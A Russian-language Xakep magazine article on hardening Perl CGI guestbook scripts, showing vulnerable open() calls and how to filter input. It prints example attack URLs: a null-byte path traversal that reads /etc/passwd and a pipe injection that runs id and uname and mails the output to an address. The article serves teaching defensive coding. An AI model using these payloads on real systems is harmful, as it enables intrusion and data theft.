Железный скрипт Докучаев Дмитрий aka Forb Xakep, номер #069, стр. 069-130-2 Нулевой баг $num=param(‘num’); $guestdir="/mnt/hdb/web"; open(MESS_FILE,"$guestdir/$num.txt"); Переменная num берется из потока и, по-видимому, содержит номер страницы, на которой юзер оставляет сообщение. Казалось бы, проверка на спецсимволы здесь неуместна – к значению переменной автоматически прикрепляется расширение txt, что не позволит, например, прочитать /etc/passwd. Но если хакер пошлет запрос вида www.lamer.ru/cgi-bin/book.cgi?num=../../../../../../../../etc/passwd%00, системный файл будет открыт и отображен вместо страницы с гостевыми записями. Это происходит потому, что сишная функция обработала строку до появления нуль-байта, остальные же символы (в нашем случае .txt) просто игнорировались. Пофиксить уязвимость можно с помощью элементарной проверки $num на спецсимволы. Если в переменной могут встречаться буквы, фикс выглядит следующим образом: die print "incorrect number" if ($num=~/\0/); Если достаточно, чтобы переменная принимала только числовое значение, можно обойтись регулярным выражением вида $num!~/\D/. Атака через пайпы Символ «|», или пайп, как его еще называют, открывает аргумент функции не для чтения, а для исполнения. Это ты знаешь сам либо понял из описания первого бага. На наличие пайпов нужно проверять все входные переменные, в противном случае хакер может использовать твою гостевуху (или другой скрипт) как web-шелл. Рассмотрим следующий бажный блок кода: Опасная переменная $message=param(‘message’); open(MESS,"> $message"); print MESS "Mess: $message\n"; close(MESS); Этот код безопасен в том случае, если в переменной $message отсутствует символ «|». Когда хакер осуществит запрос www.lamer.ru/cgi-bin/book.cgi?message=|id;uname –a|mail xakep@xakep.ru, команды успешно выполнятся, а их результат злоумышленник получит по мылу. Кстати, мою первую гостевуху хакнули именно через такую дырку. Наступать второй раз на грабли я не собираюсь, поэтому всегда проверяю входные параметры на наличие пайпов. die print "Go to /dev/null" if ($message=~/\|/); Проверка на вшивость Как ты понял, входные параметры сценария представляют особую опасность. Поэтому обязательно проверяй их на наличие спецсимволов. Из вышеописанных ошибок следует, что проверку необходимо делать следующим образом: $input=~s/[\0\|\;\\\/]//g; Подобная строка кода удалит из переменной все запрещенные символы. Эта конструкция часто юзается в моих скриптах и гарантирует их безопасную работу. Если ты не уверен в абсолютной безопасности своего скрипта, очисть принимаемую переменную от двойных точек: $input=~s/\.\.//g; Этот шаг приведет изменение запроса ?message=../../../../etc/passwd к виду ?message=////etc/passwd, что обломает замыслы хакера. Впрочем, скрипт принадлежит тебе, поэтому только извращенная фантазия – путь к абсолютной безопасности. |